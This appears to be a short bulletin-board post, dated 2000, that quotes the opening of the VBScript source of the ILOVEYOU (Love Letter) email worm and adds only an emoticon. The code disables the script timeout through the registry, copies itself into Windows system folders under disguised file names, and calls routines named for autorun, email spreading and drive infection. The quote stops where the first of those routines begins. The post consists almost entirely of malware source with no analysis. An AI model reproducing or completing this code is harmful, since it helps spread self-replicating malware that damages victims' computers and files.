> On Error Resume Next
> Dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow
> eq = ""
> ctr = 0
> Set fso = CreateObject("Scripting.FileSystemObject")
> Set file = fso.OpenTextFile(WScript.ScriptFullName, 1)
> vbscopy = file.ReadAll
> main()
> Sub main()
>     On Error Resume Next
>     Dim wscr, rr
>     Set wscr = CreateObject("WScript.Shell")
>     rr = wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
>     If (rr >= 1) Then
>         wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0, "REG_DWORD"
>     End If
>     Set dirwin = fso.GetSpecialFolder(0)
>     Set dirsystem = fso.GetSpecialFolder(1)
>     Set dirtemp = fso.GetSpecialFolder(2)
>     Set c = fso.GetFile(WScript.ScriptFullName)
> c.Copy(dirsystem&"\MSKernel32.vbs")
> c.Copy(dirwin&"\Win32DLL.vbs")
> c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
> regruns()
> html()
> spreadtoemail()
> listadriv()
> End Sub
> Sub regruns()

クスコヽ(´ー`)ﾉ

参考：2000/05/06(土)07時55分31秒